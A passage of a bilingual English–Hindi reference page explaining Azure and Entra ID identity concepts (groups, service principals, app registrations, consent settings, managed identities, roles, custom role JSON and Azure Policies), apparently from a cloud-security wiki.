- **संगठन में कोई भी अतिथि उपयोगकर्ताओं को आमंत्रित नहीं कर सकता जिसमें प्रशासक शामिल हैं (सबसे प्रतिबंधात्मक)**
- **बाहरी उपयोगकर्ता छोड़ें**: डिफ़ॉल्ट **सच**
- बाहरी उपयोगकर्ताओं को संगठन छोड़ने की अनुमति दें
> [!TIP]
> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions.
> भले ही डिफ़ॉल्ट रूप से प्रतिबंधित हो, उपयोगकर्ता (सदस्य और अतिथि) जिनके पास अनुमतियाँ हैं, वे पिछले कार्य कर सकते हैं।
### **Groups**
There are **2 types of groups**:
यहाँ **2 प्रकार के समूह** हैं:
- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members.
- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users.
- This will have an **email address** with the domain of the EntraID tenant.
- **सुरक्षा**: इस प्रकार के समूह का उपयोग सदस्यों को अनुप्रयोगों, संसाधनों तक पहुंच देने और लाइसेंस असाइन करने के लिए किया जाता है। उपयोगकर्ता, उपकरण, सेवा प्रमुख और अन्य समूह सदस्य हो सकते हैं।
- **Microsoft 365**: इस प्रकार के समूह का उपयोग सहयोग के लिए किया जाता है, सदस्यों को एक साझा मेलबॉक्स, कैलेंडर, फ़ाइलें, SharePoint साइट, आदि तक पहुंच प्रदान करता है। समूह के सदस्य केवल उपयोगकर्ता हो सकते हैं।
- इसका एक **ईमेल पता** होगा जो EntraID टेनेट के डोमेन के साथ होगा।
There are **2 types of memberships**:
यहाँ **2 प्रकार की सदस्यताएँ** हैं:
- **Assigned**: Allow to manually add specific members to a group.
- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change.
- **नियुक्त**: एक समूह में विशिष्ट सदस्यों को मैन्युअल रूप से जोड़ने की अनुमति देता है।
- **डायनामिक सदस्यता**: नियमों का उपयोग करके सदस्यता को स्वचालित रूप से प्रबंधित करता है, जब सदस्यों के गुण बदलते हैं तो समूह में समावेश को अपडेट करता है।
### **Service Principals**
A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity.
एक **Service Principal** एक **पहचान** है जो **अनुप्रयोगों**, होस्टेड सेवाओं, और स्वचालित उपकरणों के साथ Azure संसाधनों तक पहुंच के लिए **उपयोग** के लिए बनाई गई है। यह पहुंच **सेवा प्रमुख को असाइन की गई भूमिकाओं द्वारा प्रतिबंधित** होती है, जिससे आपको **कौन से संसाधनों तक पहुंच प्राप्त है** और किस स्तर पर नियंत्रण मिलता है। सुरक्षा कारणों से, हमेशा अनुशंसा की जाती है कि **स्वचालित उपकरणों के साथ सेवा प्रमुखों का उपयोग करें** बजाय कि उन्हें उपयोगकर्ता पहचान के साथ लॉगिन करने की अनुमति दें।
It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it.
यह **सेवा प्रमुख के रूप में सीधे लॉगिन करना संभव है** एक **गुप्त** (पासवर्ड), एक **प्रमाणपत्र**, या तीसरे पक्ष के प्लेटफार्मों (जैसे Github Actions) के लिए **संघीय** पहुंच प्रदान करके।
- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again.
- If you choose certificate authentication, make sure the **application will have access over the private key**.
- यदि आप **पासवर्ड** प्रमाणीकरण चुनते हैं (डिफ़ॉल्ट), तो **उत्पन्न पासवर्ड को सहेजें** क्योंकि आप इसे फिर से एक्सेस नहीं कर पाएंगे।
- यदि आप प्रमाणपत्र प्रमाणीकरण चुनते हैं, तो सुनिश्चित करें कि **अनुप्रयोग के पास निजी कुंजी पर पहुंच होगी**
### App Registrations
An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions.
एक **App Registration** एक कॉन्फ़िगरेशन है जो एक अनुप्रयोग को Entra ID के साथ एकीकृत करने और क्रियाएँ करने की अनुमति देता है।
#### Key Components:
1. **Application ID (Client ID):** A unique identifier for your app in Azure AD.
2. **Redirect URIs:** URLs where Azure AD sends authentication responses.
3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions).&#x20;
1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID).
4. **API Permissions:** Specifies what resources or APIs the app can access.
5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect).
6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant.
1. The **service principal** will get all the requested permissions it was configured with.
1. **अनुप्रयोग ID (Client ID):** Azure AD में आपके ऐप के लिए एक अद्वितीय पहचानकर्ता।
2. **Redirect URIs:** URLs जहां Azure AD प्रमाणीकरण प्रतिक्रियाएँ भेजता है।
3. **प्रमाणपत्र, गुप्त और संघीय क्रेडेंशियल्स:** यह संभव है कि एक गुप्त या प्रमाणपत्र उत्पन्न किया जाए ताकि अनुप्रयोग के सेवा प्रमुख के रूप में लॉगिन किया जा सके, या इसके लिए संघीय पहुंच प्रदान की जा सके (जैसे Github Actions)
1. यदि एक **प्रमाणपत्र** या **गुप्त** उत्पन्न किया जाता है, तो यह संभव है कि एक व्यक्ति **CLI उपकरणों के साथ सेवा प्रमुख के रूप में लॉगिन करे** यह जानकर कि **अनुप्रयोग ID**, **गुप्त** या **प्रमाणपत्र** और **टेनेट** (डोमेन या ID) क्या है।
4. **API Permissions:** निर्दिष्ट करता है कि ऐप किन संसाधनों या APIs तक पहुंच सकता है।
5. **Authentication Settings:** ऐप के समर्थित प्रमाणीकरण प्रवाह को परिभाषित करता है (जैसे, OAuth2, OpenID Connect)
6. **Service Principal**: एक सेवा प्रमुख तब बनाया जाता है जब एक ऐप बनाया जाता है (यदि इसे वेब कंसोल से किया गया हो) या जब इसे एक नए टेनेट में स्थापित किया जाता है।
1. **सेवा प्रमुख** सभी अनुरोधित अनुमतियाँ प्राप्त करेगा जिनके साथ इसे कॉन्फ़िगर किया गया था।
### Default Consent Permissions
**User consent for applications**
**अनुप्रयोगों के लिए उपयोगकर्ता सहमति**
- **Do not allow user consent**
- An administrator will be required for all apps.
- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)**
- All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization.
- **Default** low impact permissions (although you need to accept to add them as low):
- User.Read - sign in and read user profile
- offline_access - maintain access to data that users have given it access to
- openid - sign users in
- profile - view user's basic profile
- email - view user's email address
- **Allow user consent for apps (Default)**
- All users can consent for any app to access the organization's data.
- **उपयोगकर्ता सहमति की अनुमति न दें**
- सभी ऐप्स के लिए एक प्रशासक की आवश्यकता होगी।
- **सत्यापित प्रकाशकों से चयनित अनुमतियों के लिए ऐप्स के लिए उपयोगकर्ता सहमति की अनुमति दें (अनुशंसित)**
- सभी उपयोगकर्ता "कम प्रभाव" के रूप में वर्गीकृत अनुमतियों के लिए सहमति दे सकते हैं, सत्यापित प्रकाशकों से ऐप्स के लिए या इस संगठन में पंजीकृत ऐप्स के लिए।
- **डिफ़ॉल्ट** कम प्रभाव वाली अनुमतियाँ (हालांकि आपको उन्हें कम के रूप में जोड़ने के लिए स्वीकार करना होगा):
- User.Read - साइन इन करें और उपयोगकर्ता प्रोफ़ाइल पढ़ें
- offline_access - डेटा तक पहुंच बनाए रखें जिसे उपयोगकर्ताओं ने इसे पहुंच प्रदान की है
- openid - उपयोगकर्ताओं को साइन इन करें
- profile - उपयोगकर्ता की मूल प्रोफ़ाइल देखें
- email - उपयोगकर्ता के ईमेल पते को देखें
- **ऐप्स के लिए उपयोगकर्ता सहमति की अनुमति दें (डिफ़ॉल्ट)**
- सभी उपयोगकर्ता किसी भी ऐप को संगठन के डेटा तक पहुंच के लिए सहमति दे सकते हैं।
**Admin consent requests**: Default **No**
**प्रशासक सहमति अनुरोध**: डिफ़ॉल्ट **नहीं**
- Users can request admin consent to apps they are unable to consent to
- If **Yes**: Its possible to indicate Users, Groups and Roles that can consent requests
- Configure also if users will receive email notifications and expiration reminders&#x20;
- उपयोगकर्ता उन ऐप्स के लिए प्रशासक सहमति का अनुरोध कर सकते हैं जिनके लिए वे सहमति नहीं दे सकते
- यदि **हाँ**: यह संभव है कि उपयोगकर्ताओं, समूहों और भूमिकाओं को निर्दिष्ट किया जाए जो अनुरोधों के लिए सहमति दे सकते हैं
- यह भी कॉन्फ़िगर करें कि क्या उपयोगकर्ताओं को ईमेल सूचनाएँ और समाप्ति अनुस्मारक प्राप्त होंगे
### **Managed Identity (Metadata)**
Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure.
Azure Active Directory में प्रबंधित पहचानें अनुप्रयोगों की पहचान को **स्वचालित रूप से प्रबंधित करने** के लिए एक समाधान प्रदान करती हैं। ये पहचानें अनुप्रयोगों द्वारा Azure Active Directory (**Azure AD**) प्रमाणीकरण के साथ संगत **संसाधनों** से **जोड़ने** के लिए उपयोग की जाती हैं। यह कोड में क्लाउड क्रेडेंशियल्स को हार्डकोड करने की आवश्यकता को **हटाने** की अनुमति देता है क्योंकि अनुप्रयोग **मेटाडेटा** सेवा से संपर्क करके एक मान्य टोकन प्राप्त कर सकेगा ताकि Azure में निर्दिष्ट प्रबंधित पहचान के रूप में **क्रियाएँ** कर सके।
There are two types of managed identities:
प्रबंधित पहचान के दो प्रकार हैं:
- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you.
- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**.
- **सिस्टम-निर्धारित**। कुछ Azure सेवाएँ आपको **सेवा उदाहरण पर सीधे प्रबंधित पहचान सक्षम करने** की अनुमति देती हैं। जब आप एक सिस्टम-निर्धारित प्रबंधित पहचान सक्षम करते हैं, तो Entra ID टेनेट में एक **सेवा प्रमुख** बनाया जाता है जो उस सब्सक्रिप्शन द्वारा विश्वसनीय होता है जहां संसाधन स्थित है। जब **संसाधन** को **हटाया** जाता है, Azure स्वचालित रूप से आपके लिए **पहचान** को **हटा** देता है।
- **उपयोगकर्ता-निर्धारित**। उपयोगकर्ताओं के लिए प्रबंधित पहचान उत्पन्न करना भी संभव है। ये एक सब्सक्रिप्शन के भीतर एक संसाधन समूह के अंदर बनाई जाती हैं और EntraID द्वारा विश्वसनीय सब्सक्रिप्शन में एक सेवा प्रमुख बनाया जाएगा। फिर, आप प्रबंधित पहचान को Azure सेवा के एक या **अधिक उदाहरणों** (कई संसाधनों) में असाइन कर सकते हैं। उपयोगकर्ता-निर्धारित प्रबंधित पहचान के लिए, **पहचान का प्रबंधन उन संसाधनों से अलग किया जाता है जो इसका उपयोग करते हैं**
Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it.
प्रबंधित पहचान **स्थायी क्रेडेंशियल्स** (जैसे पासवर्ड या प्रमाणपत्र) उत्पन्न नहीं करती हैं ताकि सेवा प्रमुख से जुड़े इसे एक्सेस किया जा सके।
### Enterprise Applications
Its just a **table in Azure to filter service principals** and check the applications that have been assigned to.
यह केवल Azure में सेवा प्रमुखों को फ़िल्टर करने और जांचने के लिए एक **तालिका** है कि कौन से अनुप्रयोगों को असाइन किया गया है।
**It isnt another type of “application”,** there isnt any object in Azure that is an “Enterprise Application”, its just an abstraction to check the Service principals, App registrations and managed identities.
**यह "अनुप्रयोग" का एक और प्रकार नहीं है,** Azure में कोई वस्तु "Enterprise Application" नहीं है, यह केवल सेवा प्रमुखों, ऐप पंजीकरणों और प्रबंधित पहचान की जांच करने के लिए एक अमूर्तता है।
### Administrative Units
Administrative units allows to **give permissions from a role over a specific portion of an organization**.
प्रशासनिक इकाइयाँ **एक संगठन के विशिष्ट भाग पर एक भूमिका से अनुमतियाँ देने** की अनुमति देती हैं।
Example:
उदाहरण:
- Scenario: A company wants regional IT admins to manage only the users in their own region.
- Implementation:
- Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
- Populate AUs with users from their respective regions.
- AUs can **contain users, groups, or devices**
- AUs support **dynamic memberships**
- AUs **cannot contain AUs**
- Assign Admin Roles:
- Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
- परिदृश्य: एक कंपनी चाहती है कि क्षेत्रीय IT प्रशासक केवल अपने क्षेत्र के उपयोगकर्ताओं का प्रबंधन करें।
- कार्यान्वयन:
- प्रत्येक क्षेत्र के लिए प्रशासनिक इकाइयाँ बनाएं (जैसे, "उत्तरी अमेरिका AU", "यूरोप AU")
- अपने संबंधित क्षेत्रों के उपयोगकर्ताओं के साथ AUs को भरें।
- AUs **उपयोगकर्ताओं, समूहों, या उपकरणों** को समाहित कर सकते हैं
- AUs **डायनामिक सदस्यताओं** का समर्थन करते हैं
- AUs **AUs को समाहित नहीं कर सकते**
- प्रशासक भूमिकाएँ असाइन करें:
- क्षेत्रीय IT स्टाफ को "उपयोगकर्ता प्रशासक" भूमिका दें, जो उनके क्षेत्र के AU तक सीमित हो।
- परिणाम: क्षेत्रीय IT प्रशासक अपने क्षेत्र के भीतर उपयोगकर्ता खातों का प्रबंधन कर सकते हैं बिना अन्य क्षेत्रों को प्रभावित किए।
### Entra ID Roles
- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
- Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
- The most privileged role is **Global Administrator**
- In the Description of the role its possible to see its **granular permissions**
- Entra ID का प्रबंधन करने के लिए कुछ **निर्मित भूमिकाएँ** हैं जिन्हें Entra ID प्रमुखों को Entra ID का प्रबंधन करने के लिए असाइन किया जा सकता है
- भूमिकाएँ देखें [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
- सबसे विशेषाधिकार प्राप्त भूमिका **ग्लोबल एडमिनिस्ट्रेटर** है
- भूमिका के विवरण में इसके **सूक्ष्म अनुमतियाँ** देखी जा सकती हैं
## Roles & Permissions
**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)`
**भूमिकाएँ** **प्रमुखों** को **स्कोप** पर **असाइन** की जाती हैं: `principal -[HAS ROLE]->(scope)`
**Roles** assigned to **groups** are **inherited** by all the **members** of the group.
**भूमिकाएँ** समूहों को असाइन की जाती हैं और समूह के सभी **सदस्यों** द्वारा **विरासत में** प्राप्त की जाती हैं।
Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group.
स्कोप के आधार पर जिस पर भूमिका असाइन की गई थी, **भूमिका** को स्कोप कंटेनर के भीतर **अन्य संसाधनों** पर **विरासत में** मिल सकता है। उदाहरण के लिए, यदि उपयोगकर्ता A के पास **सब्सक्रिप्शन पर एक भूमिका** है, तो उसके पास उस **भूमिका** का अधिकार होगा सभी संसाधन समूहों पर जो सब्सक्रिप्शन के भीतर हैं और **संसाधनों** पर जो संसाधन समूह के भीतर हैं।
### **Classic Roles**
| **Owner** | <ul><li>Full access to all resources</li><li>Can manage access for other users</li></ul> | All resource types |
| **Owner** | <ul><li>सभी संसाधनों तक पूर्ण पहुंच</li><li>अन्य उपयोगकर्ताओं के लिए पहुंच प्रबंधित कर सकते हैं</li></ul> | सभी संसाधन प्रकार |
| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
| **Contributor** | <ul><li>Full access to all resources</li><li>Cannot manage access</li></ul> | All resource types |
| **Reader** | • View all resources | All resource types |
| **User Access Administrator** | <ul><li>View all resources</li><li>Can manage access for other users</li></ul> | All resource types |
| **Contributor** | <ul><li>सभी संसाधनों तक पूर्ण पहुंच</li><li>पहुंच प्रबंधित नहीं कर सकते</li></ul> | सभी संसाधन प्रकार |
| **Reader** | • सभी संसाधनों को देखें | सभी संसाधन प्रकार |
| **User Access Administrator** | <ul><li>सभी संसाधनों को देखें</li><li>अन्य उपयोगकर्ताओं के लिए पहुंच प्रबंधित कर सकते हैं</li></ul> | सभी संसाधन प्रकार |
### Built-In roles
[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) में कई Azure **निर्मित भूमिकाएँ** हैं जिन्हें आप **उपयोगकर्ताओं, समूहों, सेवा प्रमुखों, और प्रबंधित पहचान** को **असाइन** कर सकते हैं। भूमिका असाइनमेंट वह तरीका है जिससे आप **Azure संसाधनों तक पहुंच को नियंत्रित करते हैं**। यदि निर्मित भूमिकाएँ आपकी संगठन की विशिष्ट आवश्यकताओं को पूरा नहीं करती हैं, तो आप अपनी [**Azure कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** बना सकते हैं।**
**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources:
**निर्मित** भूमिकाएँ केवल उन **संसाधनों** पर लागू होती हैं जिनके लिए वे **निर्धारित** हैं, उदाहरण के लिए, Compute संसाधनों पर **निर्मित भूमिकाओं** के इन 2 उदाहरणों की जांच करें:
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | बैकअप वॉल्ट को डिस्क बैकअप करने की अनुमति प्रदान करता है। | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
| ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | पोर्टल में वर्चुअल मशीनों को देखें और एक सामान्य उपयोगकर्ता के रूप में लॉगिन करें। | fb879df8-f326-4884-b1cf-06f3ad86be52 |
This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
ये भूमिकाएँ **तार्किक कंटेनरों** (जैसे प्रबंधन समूह, सब्सक्रिप्शन और संसाधन समूह) पर भी असाइन की जा सकती हैं और प्रभावित प्रमुखों को **उन कंटेनरों के भीतर संसाधनों पर** अधिकार प्राप्त होंगे।
- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
- यहाँ [**सभी Azure निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) की एक सूची प्राप्त करें।
- यहाँ [**सभी Entra ID निर्मित भूमिकाओं**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) की एक सूची प्राप्त करें।
### Custom Roles
- Its also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
- Its possible to configure all the granular permissions the custom role will have
- Its possible to exclude permissions
- A principal with a excluded permission wont be able to use it even if the permissions is being granted elsewhere
- Its possible to use wildcards
- The used format is a JSON
- `actions` are for control actions over the resource
- `dataActions` are permissions over the data within the object
Example of permissions JSON for a custom role:
- यह भी संभव है कि [**कस्टम भूमिकाएँ**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) बनाई जाएँ
- ये एक स्कोप के भीतर बनाई जाती हैं, हालाँकि एक भूमिका कई स्कोप (प्रबंधन समूह, सब्सक्रिप्शन और संसाधन समूह) में हो सकती है
- यह संभव है कि कस्टम भूमिका के पास सभी सूक्ष्म अनुमतियों को कॉन्फ़िगर किया जाए
- यह अनुमतियों को बाहर करने की भी अनुमति देता है
- एक प्रमुख जिसके पास एक बाहर की गई अनुमति है, वह इसे उपयोग नहीं कर सकेगा भले ही अनुमति कहीं और दी जा रही हो
- यह वाइल्डकार्ड का उपयोग करने की अनुमति देता है
- उपयोग किया गया प्रारूप JSON है
- `actions` संसाधन पर नियंत्रण क्रियाओं के लिए हैं
- `dataActions` वस्तु के भीतर डेटा पर अनुमतियाँ हैं
कस्टम भूमिका के लिए अनुमतियों का JSON का उदाहरण:
```json
{
"properties": {
"roleName": "",
"description": "",
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
"permissions": [
{
"actions": [
"Microsoft.DigitalTwins/register/action",
"Microsoft.DigitalTwins/unregister/action",
"Microsoft.DigitalTwins/operations/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
"Microsoft.CostManagement/exports/*"
],
"notActions": [
"Astronomer.Astro/register/action",
"Astronomer.Astro/unregister/action",
"Astronomer.Astro/operations/read",
"Astronomer.Astro/organizations/read"
],
"dataActions": [],
"notDataActions": []
}
]
}
"properties": {
"roleName": "",
"description": "",
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
"permissions": [
{
"actions": [
"Microsoft.DigitalTwins/register/action",
"Microsoft.DigitalTwins/unregister/action",
"Microsoft.DigitalTwins/operations/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
"Microsoft.CostManagement/exports/*"
],
"notActions": [
"Astronomer.Astro/register/action",
"Astronomer.Astro/unregister/action",
"Astronomer.Astro/operations/read",
"Astronomer.Astro/organizations/read"
],
"dataActions": [],
"notDataActions": []
}
]
}
}
```
### Permissions order
- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
- An explicit **deny role assignment takes precedence** over the role granting the permission.
- एक **principal को किसी resource पर कुछ access प्राप्त करने के लिए** उसे एक स्पष्ट भूमिका दी जानी चाहिए (किसी भी तरह से) **उसे वह अनुमति देने के लिए**
- एक स्पष्ट **deny role assignment की प्राथमिकता होती है** उस भूमिका पर जो अनुमति देती है।
<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
### Global Administrator
Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
Global Administrator एक भूमिका है Entra ID से जो **Entra ID tenant पर पूर्ण नियंत्रण प्रदान करती है**। हालाँकि, यह डिफ़ॉल्ट रूप से Azure resources पर कोई अनुमति नहीं देती है।
Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
Global Administrator भूमिका वाले उपयोगकर्ताओं के पास '**User Access Administrator Azure भूमिका में Root Management Group में 'elevate' करने की क्षमता है**। इसलिए Global Administrators **सभी Azure subscriptions और management groups में access प्रबंधित कर सकते हैं।**\
यह elevation पृष्ठ के अंत में किया जा सकता है: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
### Azure Policies
**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking.
**Azure Policies** नियम हैं जो संगठनों को यह सुनिश्चित करने में मदद करते हैं कि उनके resources विशिष्ट मानकों और अनुपालन आवश्यकताओं को पूरा करते हैं। वे आपको **Azure में resources पर सेटिंग्स को लागू या ऑडिट करने** की अनुमति देते हैं। उदाहरण के लिए, आप अनधिकृत क्षेत्र में वर्चुअल मशीनों के निर्माण को रोक सकते हैं या सुनिश्चित कर सकते हैं कि सभी resources के पास ट्रैकिंग के लिए विशिष्ट टैग हैं।
Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources.
Azure Policies **proactive** हैं: वे अनुपालन न करने वाले resources के निर्माण या परिवर्तन को रोक सकती हैं। वे **reactive** भी हैं, जिससे आप मौजूदा अनुपालन न करने वाले resources को खोज और ठीक कर सकते हैं।
#### **Key Concepts**
1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required.
2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group).
3. **Initiatives**: A collection of policies grouped together for broader enforcement.
4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append").
1. **Policy Definition**: एक नियम, जो JSON में लिखा गया है, जो यह निर्दिष्ट करता है कि क्या अनुमति है या आवश्यक है।
2. **Policy Assignment**: एक नीति को एक विशिष्ट दायरे (जैसे, subscription, resource group) पर लागू करना।
3. **Initiatives**: नीतियों का एक संग्रह जो व्यापक प्रवर्तन के लिए एक साथ समूहित किया गया है।
4. **Effect**: यह निर्दिष्ट करता है कि नीति सक्रिय होने पर क्या होता है (जैसे, "Deny," "Audit," या "Append")
**Some examples:**
**कुछ उदाहरण:**
1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance.
2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments.
3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs.
4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources.
5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network.
6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption.
1. **विशिष्ट Azure क्षेत्रों के साथ अनुपालन सुनिश्चित करना**: यह नीति सुनिश्चित करती है कि सभी resources विशिष्ट Azure क्षेत्रों में तैनात हैं। उदाहरण के लिए, एक कंपनी यह सुनिश्चित करना चाह सकती है कि उसका सारा डेटा GDPR अनुपालन के लिए यूरोप में संग्रहीत हो।
2. **नामकरण मानकों को लागू करना**: नीतियाँ Azure resources के लिए नामकरण मानकों को लागू कर सकती हैं। यह बड़े वातावरण में resources को व्यवस्थित करने और उनके नामों के आधार पर आसानी से पहचानने में मदद करता है।
3. **कुछ resource प्रकारों को प्रतिबंधित करना**: यह नीति कुछ प्रकार के resources के निर्माण को प्रतिबंधित कर सकती है। उदाहरण के लिए, एक नीति को महंगे resource प्रकारों, जैसे कुछ VM आकारों, के निर्माण को रोकने के लिए सेट किया जा सकता है, ताकि लागत को नियंत्रित किया जा सके।
4. **टैगिंग नीतियों को लागू करना**: टैग Azure resources के साथ जुड़े कुंजी-मूल्य जोड़े होते हैं जो resource प्रबंधन के लिए उपयोग किए जाते हैं। नीतियाँ यह लागू कर सकती हैं कि सभी resources के लिए कुछ टैग मौजूद होने चाहिए, या उनके पास विशिष्ट मान होने चाहिए। यह लागत ट्रैकिंग, स्वामित्व, या resources की श्रेणीकरण के लिए उपयोगी है।
5. **resources के लिए सार्वजनिक पहुंच को सीमित करना**: नीतियाँ यह लागू कर सकती हैं कि कुछ resources, जैसे स्टोरेज खाते या डेटाबेस, के पास सार्वजनिक endpoints नहीं होने चाहिए, यह सुनिश्चित करते हुए कि वे केवल संगठन के नेटवर्क के भीतर ही सुलभ हैं।
